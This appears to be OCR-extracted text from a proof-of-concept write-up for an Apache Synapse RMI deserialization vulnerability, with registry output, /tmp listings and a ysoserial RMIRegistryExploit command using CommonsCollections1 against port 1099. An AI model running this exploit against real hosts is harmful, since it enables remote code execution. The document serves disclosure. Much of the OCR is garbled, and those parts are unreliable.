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RMI Registry at localhost:1099
Objects exposed: 1
Object 1
Name: syna
oint: 123 139185

vax.management. remote. mi.RMIServerImpl_Stub

java.mi.server.RemoteStub

va.mi.server.Remotelbject
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3 tmpl# 1s -al

root root 40 Dec

root root L Mow 2C ..

root root 4096 Dec 9 : axis2 p-69556 22081934564 . tmp
root root A Dec s y1.681

root root : Mow

root root - 7:41 hsperfdata_root
root root 20 Y

gdm gdm : h :57 orbit-gdm

root root . Mo 3: pulse-y4FR3VIxIBay
gdm gdl‘n k )

root root

root root

root root

root root

root root S0&63

tmpl# 1s -al

drwxrwxrwt
-TW-T--T--

e N S N S S TS

root root

root root ;i Mow

root root Dec

root root 4896 Dec 9 : a: - B6922681934564 . tmp
root root 4349 Dec

root root : MNow

root root - 7:41 hsperfdata_root
root root 20 Y

gdm gdm ' h :57 orbit-gdm

root root . \ 3: pulse-y4FRIVIxI0ay
gdm  gdm - - ) 11:57 pulse-YEDeVWcUSIFT
root root

root root 4056 0 y ) .vnc=-0

root root A ) : L¥B-1lock

root root

root root SO66: ) erial-master-v

drwxrwxrwt. 1
drwxr-xr-x
-MW-T--r--
drwxr-xr-x
-MwW-r--r--
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7t ysoserial T HA 4 7 CommonsCollections ] Payload:
java -cp ysoserial-master-v0.0.5-gh617b7b-16.jar ysoserial.exploit. RMIRegistryExploit
192.168.197.25 1099 CommonsCollectionsl "touch /tmp/apache_synapse"
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org/apache/commons/collections/functors/InvokerTransformer.class (4
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http://www.openwall.com/lists/oss-security/2017/12/10/4

http://synapse.apache.org/download/3.0.1/download.cgi

http://synapse.apache.org/index.html
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